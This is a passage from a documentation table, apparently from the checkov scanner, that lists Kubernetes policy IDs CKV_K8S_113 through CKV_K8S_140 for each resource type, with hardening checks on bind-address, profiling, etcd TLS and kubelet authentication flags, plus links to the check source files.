[ControllerManagerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ControllerManagerBindAddress.py)                                                                      |\n| 7522 | CKV_K8S_113              | resource                         | DeploymentConfig                                                                                 | Ensure that the --bind-address argument is set to 127.0.0.1                                                                                                                                              | Kubernetes              | [ControllerManagerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ControllerManagerBindAddress.py)                                                                      |\n| 7523 | CKV_K8S_113              | resource                         | Job                                                                                              | Ensure that the --bind-address argument is set to 127.0.0.1                                                                                                                                              | Kubernetes              | [ControllerManagerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ControllerManagerBindAddress.py)                                                                      |\n| 7524 | CKV_K8S_113              | resource                         | Pod                                                                                              | Ensure that the --bind-address argument is set to 127.0.0.1                                                                                                                                              | Kubernetes              | [ControllerManagerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ControllerManagerBindAddress.py)                                                                      |\n| 7525 | CKV_K8S_113              | resource                         | PodTemplate                                                                                      | Ensure that the --bind-address argument is set to 127.0.0.1                                                                                                                                              | Kubernetes              | [ControllerManagerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ControllerManagerBindAddress.py)                                                                      |\n| 7526 | CKV_K8S_113              | resource                         | ReplicaSet                                                                                       | Ensure that the --bind-address argument is set to 127.0.0.1                                                                                                                                              | Kubernetes              | [ControllerManagerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ControllerManagerBindAddress.py)                                                                      |\n| 7527 | CKV_K8S_113              | resource                         | ReplicationController                                                                            | Ensure that the --bind-address argument is set to 127.0.0.1                                                                                                                                              | Kubernetes              | [ControllerManagerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ControllerManagerBindAddress.py)                                                                      |\n| 7528 | CKV_K8S_113              | resource                         | StatefulSet                                                                                      | Ensure that the --bind-address argument is set to 127.0.0.1                                                                                                                                              | Kubernetes              | [ControllerManagerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ControllerManagerBindAddress.py)                                                                      |\n| 7529 | CKV_K8S_114              | resource                         | CronJob                                                                                          | Ensure that the --profiling argument is set to false                                                                                                                                                     | Kubernetes              | [SchedulerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerProfiling.py)                                                                                          |\n| 7530 | CKV_K8S_114              | resource                         | DaemonSet                                                                                        | Ensure that the --profiling argument is set to false                                                                                                                                                     | Kubernetes              | [SchedulerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerProfiling.py)                                                                                          |\n| 7531 | CKV_K8S_114              | resource                         | Deployment                                                                                       | Ensure that the --profiling argument is set to false                                                                                                                                                     | Kubernetes              | [SchedulerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerProfiling.py)                                                                                          |\n| 7532 | CKV_K8S_114              | resource                         | DeploymentConfig                                                                                 | Ensure that the --profiling argument is set to false                                                                                                                                                     | Kubernetes              | [SchedulerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerProfiling.py)                                                                                          |\n| 7533 | CKV_K8S_114              | resource                         | Job                                                                                              | Ensure that the --profiling argument is set to false                                                                                                                                                     | Kubernetes              | [SchedulerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerProfiling.py)                                                                                          |\n| 7534 | CKV_K8S_114              | resource                         | Pod                                                                                              | Ensure that the --profiling argument is set to false                                                                                                                                                     | Kubernetes              | [SchedulerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerProfiling.py)                                                                                          |\n| 7535 | CKV_K8S_114              | resource                         | PodTemplate                                                                                      | Ensure that the --profiling argument is set to false                                                                                                                                                     | Kubernetes              | [SchedulerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerProfiling.py)                                                                                          |\n| 7536 | CKV_K8S_114              | resource                         | ReplicaSet                                                                                       | Ensure that the --profiling argument is set to false                                                                                                                                                     | Kubernetes              | [SchedulerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerProfiling.py)                                                                                          |\n| 7537 | CKV_K8S_114              | resource                         | ReplicationController                                                                            | Ensure that the --profiling argument is set to false                                                                                                                                                     | Kubernetes              | [SchedulerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerProfiling.py)                                                                                          |\n| 7538 | CKV_K8S_114              | resource                         | StatefulSet                                                                                      | Ensure that the --profiling argument is set to false                                                                                                                                                     | Kubernetes              | [SchedulerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerProfiling.py)                                                                                          |\n| 7539 | CKV_K8S_115              | resource                         | CronJob                                                                                          | Ensure that the --bind-address argument is set to 127.0.0.1                                                                                                                                              | Kubernetes              | [SchedulerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerBindAddress.py)                                                                                      |\n| 7540 | CKV_K8S_115              | resource                         | DaemonSet                                                                                        | Ensure that the --bind-address argument is set to 127.0.0.1                                                                                                                                              | Kubernetes              | [SchedulerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerBindAddress.py)                                                                                      |\n| 7541 | CKV_K8S_115              | resource                         | Deployment                                                                                       | Ensure that the --bind-address argument is set to 127.0.0.1                                                                                                                                              | Kubernetes              | [SchedulerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerBindAddress.py)                                                                                      |\n| 7542 | CKV_K8S_115              | resource                         | DeploymentConfig                                                                                 | Ensure that the --bind-address argument is set to 127.0.0.1                                                                                                                                              | Kubernetes              | [SchedulerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerBindAddress.py)                                                                                      |\n| 7543 | CKV_K8S_115              | resource                         | Job                                                                                              | Ensure that the --bind-address argument is set to 127.0.0.1                                                                                                                                              | Kubernetes              | [SchedulerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerBindAddress.py)                                                                                      |\n| 7544 | CKV_K8S_115              | resource                         | Pod                                                                                              | Ensure that the --bind-address argument is set to 127.0.0.1                                                                                                                                              | Kubernetes              | [SchedulerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerBindAddress.py)                                                                                      |\n| 7545 | CKV_K8S_115              | resource                         | PodTemplate                                                                                      | Ensure that the --bind-address argument is set to 127.0.0.1                                                                                                                                              | Kubernetes              | [SchedulerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerBindAddress.py)                                                                                      |\n| 7546 | CKV_K8S_115              | resource                         | ReplicaSet                                                                                       | Ensure that the --bind-address argument is set to 127.0.0.1                                                                                                                                              | Kubernetes              | [SchedulerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerBindAddress.py)                                                                                      |\n| 7547 | CKV_K8S_115              | resource                         | ReplicationController                                                                            | Ensure that the --bind-address argument is set to 127.0.0.1                                                                                                                                              | Kubernetes              | [SchedulerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerBindAddress.py)                                                                                      |\n| 7548 | CKV_K8S_115              | resource                         | StatefulSet                                                                                      | Ensure that the --bind-address argument is set to 127.0.0.1                                                                                                                                              | Kubernetes              | [SchedulerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerBindAddress.py)                                                                                      |\n| 7549 | CKV_K8S_116              | resource                         | CronJob                                                                                          | Ensure that the --cert-file and --key-file arguments are set as appropriate                                                                                                                              | Kubernetes              | [EtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdCertAndKey.py)                                                                                                  |\n| 7550 | CKV_K8S_116              | resource                         | DaemonSet                                                                                        | Ensure that the --cert-file and --key-file arguments are set as appropriate                                                                                                                              | Kubernetes              | [EtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdCertAndKey.py)                                                                                                  |\n| 7551 | CKV_K8S_116              | resource                         | Deployment                                                                                       | Ensure that the --cert-file and --key-file arguments are set as appropriate                                                                                                                              | Kubernetes              | [EtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdCertAndKey.py)                                                                                                  |\n| 7552 | CKV_K8S_116              | resource                         | DeploymentConfig                                                                                 | Ensure that the --cert-file and --key-file arguments are set as appropriate                                                                                                                              | Kubernetes              | [EtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdCertAndKey.py)                                                                                                  |\n| 7553 | CKV_K8S_116              | resource                         | Job                                                                                              | Ensure that the --cert-file and --key-file arguments are set as appropriate                                                                                                                              | Kubernetes              | [EtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdCertAndKey.py)                                                                                                  |\n| 7554 | CKV_K8S_116              | resource                         | Pod                                                                                              | Ensure that the --cert-file and --key-file arguments are set as appropriate                                                                                                                              | Kubernetes              | [EtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdCertAndKey.py)                                                                                                  |\n| 7555 | CKV_K8S_116              | resource                         | PodTemplate                                                                                      | Ensure that the --cert-file and --key-file arguments are set as appropriate                                                                                                                              | Kubernetes              | [EtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdCertAndKey.py)                                                                                                  |\n| 7556 | CKV_K8S_116              | resource                         | ReplicaSet                                                                                       | Ensure that the --cert-file and --key-file arguments are set as appropriate                                                                                                                              | Kubernetes              | [EtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdCertAndKey.py)                                                                                                  |\n| 7557 | CKV_K8S_116              | resource                         | ReplicationController                                                                            | Ensure that the --cert-file and --key-file arguments are set as appropriate                                                                                                                              | Kubernetes              | [EtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdCertAndKey.py)                                                                                                  |\n| 7558 | CKV_K8S_116              | resource                         | StatefulSet                                                                                      | Ensure that the --cert-file and --key-file arguments are set as appropriate                                                                                                                              | Kubernetes              | [EtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdCertAndKey.py)                                                                                                  |\n| 7559 | CKV_K8S_117              | resource                         | CronJob                                                                                          | Ensure that the --client-cert-auth argument is set to true                                                                                                                                               | Kubernetes              | [EtcdClientCertAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdClientCertAuth.py)                                                                                          |\n| 7560 | CKV_K8S_117              | resource                         | DaemonSet                                                                                        | Ensure that the --client-cert-auth argument is set to true                                                                                                                                               | Kubernetes              | [EtcdClientCertAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdClientCertAuth.py)                                                                                          |\n| 7561 | CKV_K8S_117              | resource                         | Deployment                                                                                       | Ensure that the --client-cert-auth argument is set to true                                                                                                                                               | Kubernetes              | [EtcdClientCertAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdClientCertAuth.py)                                                                                          |\n| 7562 | CKV_K8S_117              | resource                         | DeploymentConfig                                                                                 | Ensure that the --client-cert-auth argument is set to true                                                                                                                                               | Kubernetes              | [EtcdClientCertAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdClientCertAuth.py)                                                                                          |\n| 7563 | CKV_K8S_117              | resource                         | Job                                                                                              | Ensure that the --client-cert-auth argument is set to true                                                                                                                                               | Kubernetes              | [EtcdClientCertAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdClientCertAuth.py)                                                                                          |\n| 7564 | CKV_K8S_117              | resource                         | Pod                                                                                              | Ensure that the --client-cert-auth argument is set to true                                                                                                                                               | Kubernetes              | [EtcdClientCertAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdClientCertAuth.py)                                                                                          |\n| 7565 | CKV_K8S_117              | resource                         | PodTemplate                                                                                      | Ensure that the --client-cert-auth argument is set to true                                                                                                                                               | Kubernetes              | [EtcdClientCertAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdClientCertAuth.py)                                                                                          |\n| 7566 | CKV_K8S_117              | resource                         | ReplicaSet                                                                                       | Ensure that the --client-cert-auth argument is set to true                                                                                                                                               | Kubernetes              | [EtcdClientCertAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdClientCertAuth.py)                                                                                          |\n| 7567 | CKV_K8S_117              | resource                         | ReplicationController                                                                            | Ensure that the --client-cert-auth argument is set to true                                                                                                                                               | Kubernetes              | [EtcdClientCertAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdClientCertAuth.py)                                                                                          |\n| 7568 | CKV_K8S_117              | resource                         | StatefulSet                                                                                      | Ensure that the --client-cert-auth argument is set to true                                                                                                                                               | Kubernetes              | [EtcdClientCertAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdClientCertAuth.py)                                                                                          |\n| 7569 | CKV_K8S_118              | resource                         | CronJob                                                                                          | Ensure that the --auto-tls argument is not set to true                                                                                                                                                   | Kubernetes              | [EtcdAutoTls.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdAutoTls.py)                                                                                                        |\n| 7570 | CKV_K8S_118              | resource                         | DaemonSet                                                                                        | Ensure that the --auto-tls argument is not set to true                                                                                                                                                   | Kubernetes              | [EtcdAutoTls.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdAutoTls.py)                                                                                                        |\n| 7571 | CKV_K8S_118              | resource                         | Deployment                                                                                       | Ensure that the --auto-tls argument is not set to true                                                                                                                                                   | Kubernetes              | [EtcdAutoTls.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdAutoTls.py)                                                                                                        |\n| 7572 | CKV_K8S_118              | resource                         | DeploymentConfig                                                                                 | Ensure that the --auto-tls argument is not set to true                                                                                                                                                   | Kubernetes              | [EtcdAutoTls.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdAutoTls.py)                                                                                                        |\n| 7573 | CKV_K8S_118              | resource                         | Job                                                                                              | Ensure that the --auto-tls argument is not set to true                                                                                                                                                   | Kubernetes              | [EtcdAutoTls.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdAutoTls.py)                                                                                                        |\n| 7574 | CKV_K8S_118              | resource                         | Pod                                                                                              | Ensure that the --auto-tls argument is not set to true                                                                                                                                                   | Kubernetes              | [EtcdAutoTls.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdAutoTls.py)                                                                                                        |\n| 7575 | CKV_K8S_118              | resource                         | PodTemplate                                                                                      | Ensure that the --auto-tls argument is not set to true                                                                                                                                                   | Kubernetes              | [EtcdAutoTls.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdAutoTls.py)                                                                                                        |\n| 7576 | CKV_K8S_118              | resource                         | ReplicaSet                                                                                       | Ensure that the --auto-tls argument is not set to true                                                                                                                                                   | Kubernetes              | [EtcdAutoTls.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdAutoTls.py)                                                                                                        |\n| 7577 | CKV_K8S_118              | resource                         | ReplicationController                                                                            | Ensure that the --auto-tls argument is not set to true                                                                                                                                                   | Kubernetes              | [EtcdAutoTls.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdAutoTls.py)                                                                                                        |\n| 7578 | CKV_K8S_118              | resource                         | StatefulSet                                                                                      | Ensure that the --auto-tls argument is not set to true                                                                                                                                                   | Kubernetes              | [EtcdAutoTls.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdAutoTls.py)                                                                                                        |\n| 7579 | CKV_K8S_119              | resource                         | CronJob                                                                                          | Ensure that the --peer-cert-file and --peer-key-file arguments are set as appropriate                                                                                                                    | Kubernetes              | [EtcdPeerFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdPeerFiles.py)                                                                                                    |\n| 7580 | CKV_K8S_119              | resource                         | DaemonSet                                                                                        | Ensure that the --peer-cert-file and --peer-key-file arguments are set as appropriate                                                                                                                    | Kubernetes              | [EtcdPeerFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdPeerFiles.py)                                                                                                    |\n| 7581 | CKV_K8S_119              | resource                         | Deployment                                                                                       | Ensure that the --peer-cert-file and --peer-key-file arguments are set as appropriate                                                                                                                    | Kubernetes              | [EtcdPeerFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdPeerFiles.py)                                                                                                    |\n| 7582 | CKV_K8S_119              | resource                         | DeploymentConfig                                                                                 | Ensure that the --peer-cert-file and --peer-key-file arguments are set as appropriate                                                                                                                    | Kubernetes              | [EtcdPeerFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdPeerFiles.py)                                                                                                    |\n| 7583 | CKV_K8S_119              | resource                         | Job                                                                                              | Ensure that the --peer-cert-file and --peer-key-file arguments are set as appropriate                                                                                                                    | Kubernetes              | [EtcdPeerFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdPeerFiles.py)                                                                                                    |\n| 7584 | CKV_K8S_119              | resource                         | Pod                                                                                              | Ensure that the --peer-cert-file and --peer-key-file arguments are set as appropriate                                                                                                                    | Kubernetes              | [EtcdPeerFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdPeerFiles.py)                                                                                                    |\n| 7585 | CKV_K8S_119              | resource                         | PodTemplate                                                                                      | Ensure that the --peer-cert-file and --peer-key-file arguments are set as appropriate                                                                                                                    | Kubernetes              | [EtcdPeerFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdPeerFiles.py)                                                                                                    |\n| 7586 | CKV_K8S_119              | resource                         | ReplicaSet                                                                                       | Ensure that the --peer-cert-file and --peer-key-file arguments are set as appropriate                                                                                                                    | Kubernetes              | [EtcdPeerFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdPeerFiles.py)                                                                                                    |\n| 7587 | CKV_K8S_119              | resource                         | ReplicationController                                                                            | Ensure that the --peer-cert-file and --peer-key-file arguments are set as appropriate                                                                                                                    | Kubernetes              | [EtcdPeerFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdPeerFiles.py)                                                                                                    |\n| 7588 | CKV_K8S_119              | resource                         | StatefulSet                                                                                      | Ensure that the --peer-cert-file and --peer-key-file arguments are set as appropriate                                                                                                                    | Kubernetes              | [EtcdPeerFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdPeerFiles.py)                                                                                                    |\n| 7589 | CKV_K8S_121              | resource                         | Pod                                                                                              | Ensure that the --peer-client-cert-auth argument is set to true                                                                                                                                          | Kubernetes              | [PeerClientCertAuthTrue.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PeerClientCertAuthTrue.py)                                                                                  |\n| 7590 | CKV_K8S_138              | resource                         | CronJob                                                                                          | Ensure that the --anonymous-auth argument is set to false                                                                                                                                                | Kubernetes              | [KubeletAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAnonymousAuth.py)                                                                                      |\n| 7591 | CKV_K8S_138              | resource                         | DaemonSet                                                                                        | Ensure that the --anonymous-auth argument is set to false                                                                                                                                                | Kubernetes              | [KubeletAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAnonymousAuth.py)                                                                                      |\n| 7592 | CKV_K8S_138              | resource                         | Deployment                                                                                       | Ensure that the --anonymous-auth argument is set to false                                                                                                                                                | Kubernetes              | [KubeletAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAnonymousAuth.py)                                                                                      |\n| 7593 | CKV_K8S_138              | resource                         | DeploymentConfig                                                                                 | Ensure that the --anonymous-auth argument is set to false                                                                                                                                                | Kubernetes              | [KubeletAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAnonymousAuth.py)                                                                                      |\n| 7594 | CKV_K8S_138              | resource                         | Job                                                                                              | Ensure that the --anonymous-auth argument is set to false                                                                                                                                                | Kubernetes              | [KubeletAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAnonymousAuth.py)                                                                                      |\n| 7595 | CKV_K8S_138              | resource                         | Pod                                                                                              | Ensure that the --anonymous-auth argument is set to false                                                                                                                                                | Kubernetes              | [KubeletAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAnonymousAuth.py)                                                                                      |\n| 7596 | CKV_K8S_138              | resource                         | PodTemplate                                                                                      | Ensure that the --anonymous-auth argument is set to false                                                                                                                                                | Kubernetes              | [KubeletAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAnonymousAuth.py)                                                                                      |\n| 7597 | CKV_K8S_138              | resource                         | ReplicaSet                                                                                       | Ensure that the --anonymous-auth argument is set to false                                                                                                                                                | Kubernetes              | [KubeletAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAnonymousAuth.py)                                                                                      |\n| 7598 | CKV_K8S_138              | resource                         | ReplicationController                                                                            | Ensure that the --anonymous-auth argument is set to false                                                                                                                                                | Kubernetes              | [KubeletAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAnonymousAuth.py)                                                                                      |\n| 7599 | CKV_K8S_138              | resource                         | StatefulSet                                                                                      | Ensure that the --anonymous-auth argument is set to false                                                                                                                                                | Kubernetes              | [KubeletAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAnonymousAuth.py)                                                                                      |\n| 7600 | CKV_K8S_139              | resource                         | CronJob                                                                                          | Ensure that the --authorization-mode argument is not set to AlwaysAllow                                                                                                                                  | Kubernetes              | [KubeletAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAuthorizationModeNotAlwaysAllow.py)                                                  |\n| 7601 | CKV_K8S_139              | resource                         | DaemonSet                                                                                        | Ensure that the --authorization-mode argument is not set to AlwaysAllow                                                                                                                                  | Kubernetes              | [KubeletAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAuthorizationModeNotAlwaysAllow.py)                                                  |\n| 7602 | CKV_K8S_139              | resource                         | Deployment                                                                                       | Ensure that the --authorization-mode argument is not set to AlwaysAllow                                                                                                                                  | Kubernetes              | [KubeletAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAuthorizationModeNotAlwaysAllow.py)                                                  |\n| 7603 | CKV_K8S_139              | resource                         | DeploymentConfig                                                                                 | Ensure that the --authorization-mode argument is not set to AlwaysAllow                                                                                                                                  | Kubernetes              | [KubeletAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAuthorizationModeNotAlwaysAllow.py)                                                  |\n| 7604 | CKV_K8S_139              | resource                         | Job                                                                                              | Ensure that the --authorization-mode argument is not set to AlwaysAllow                                                                                                                                  | Kubernetes              | [KubeletAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAuthorizationModeNotAlwaysAllow.py)                                                  |\n| 7605 | CKV_K8S_139              | resource                         | Pod                                                                                              | Ensure that the --authorization-mode argument is not set to AlwaysAllow                                                                                                                                  | Kubernetes              | [KubeletAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAuthorizationModeNotAlwaysAllow.py)                                                  |\n| 7606 | CKV_K8S_139              | resource                         | PodTemplate                                                                                      | Ensure that the --authorization-mode argument is not set to AlwaysAllow                                                                                                                                  | Kubernetes              | [KubeletAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAuthorizationModeNotAlwaysAllow.py)                                                  |\n| 7607 | CKV_K8S_139              | resource                         | ReplicaSet                                                                                       | Ensure that the --authorization-mode argument is not set to AlwaysAllow                                                                                                                                  | Kubernetes              | [KubeletAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAuthorizationModeNotAlwaysAllow.py)                                                  |\n| 7608 | CKV_K8S_139              | resource                         | ReplicationController                                                                            | Ensure that the --authorization-mode argument is not set to AlwaysAllow                                                                                                                                  | Kubernetes              | [KubeletAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAuthorizationModeNotAlwaysAllow.py)                                                  |\n| 7609 | CKV_K8S_139              | resource                         | StatefulSet                                                                                      | Ensure that the --authorization-mode argument is not set to AlwaysAllow                                                                                                                                  | Kubernetes              | [KubeletAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAuthorizationModeNotAlwaysAllow.py)                                                  |\n| 7610 | CKV_K8S_140              | resource                         | CronJob                                                                                          | Ensure that the --client-ca-file argument is set as appropriate                                                                                                                                          | Kubernetes              | [KubeletClientCa.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletClientCa.py)                                                                                                |\n| 7611 | CKV_K8S_140              | resource                         | DaemonSet                                                                                        | Ensure that the --client-ca-file argument is set as appropriate                                                                                                                                          | Kubernetes              | [KubeletClientCa.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletClientCa.py)                                                                                                |\n| 7612 | CKV_K8S_140              | resource                         | Deployment                                                                                       | Ensure that the --client-ca-file argument is set as appropriate                                                                                                                                          | Kubernetes              | [KubeletClientCa.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletClientCa.py)                                                                                                |\n| 7613 | CKV_K8S_140              | resource                         | DeploymentConfig                                                                                 | Ensure that the --client-ca-file argument is set as appropriate                                                                                                                                          | Kubernetes              | [KubeletClientCa.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletClientCa.py)                                                                                                |\n| 7614 | CKV_K8S_140              | resource                         | Job                                                                                              | Ensure that the --client-ca-file argument is set as appropriate                                                                                                                                          | Kubernetes              | [KubeletClientCa.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletClientCa.py)                                                                                                |\n| 7615 | CKV_K8S_140              | resource                         | Pod                                                                                              | Ensure that the --client-ca-file argument is set as appropriate                                                                                                                                          | Kubernetes              | [KubeletClientCa.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletClientCa.py)                                                                                                |\n| 7616 | CKV_K8S_140              | resource                         | PodTemplate                                                                                      | Ensure that the --client-ca-file argument is set as appropriate                                                                                                                                          | Kubernetes              | [KubeletClientCa.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletClientCa.py)                                                                                                |\n| 7617 | 